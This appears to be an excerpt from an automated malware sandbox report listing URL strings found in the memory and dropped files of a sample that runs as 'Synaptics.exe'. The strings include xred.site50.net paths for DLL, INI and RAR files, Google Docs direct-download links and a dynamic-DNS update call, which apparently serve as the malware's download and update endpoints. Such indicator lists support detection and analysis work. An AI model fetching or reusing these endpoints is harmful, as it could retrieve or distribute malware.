Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: file.exe, 00000000.00000000.1447118990.0000000000400000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1447138631.0000000000406000.00000080.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1588506794.000000000074E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1587567918.0000000000400000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514226721.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514799981.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514773240.00000000006CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1514402089.0000000002124000.00000004.00001000.00020000.00000000.sdmp, RCXF081.tmp.5.dr	String found in binary or memory: http://google.com
Source: file.exe, 00000000.00000002.1588506794.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.comx
Source: ._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://lineage.ncsoft.co.kr/download/
Source: ._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.lineageonline.jp/
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dlh
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.goo
Source: Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638397293.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GlEVGxuZVk&export=download
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/GlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/ta
Source: Synaptics.exe, 00000005.00000002.4063767977.000000001DE27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ta
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc4j
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0B/
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMX
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlV
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=$f
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo4
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000002.4264770975.0000000050EBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4245658333.0000000049E3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4245842647.0000000049F7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4081259606.0000000024BBD000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4138934800.000000003A77E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4016180539.0000000017EBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4080252907.00000000242FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4142469856.000000003BCBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4250881856.000000004BC3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4249058741.000000004B37E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4089716990.000000002867E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4114899189.000000003273E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4116923171.00000000334FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4021047679.0000000018EFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4306795348.000000005DDBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4111379477.0000000030E3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4008576897.0000000015CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3790426295.000000000416E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3813196835.00000000076FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#$Mo
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#HDh
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#p
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$z
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&DMn
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&JCjf
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&c
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&r
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638397293.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)DXn
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)J
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-b
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cac
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.%
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
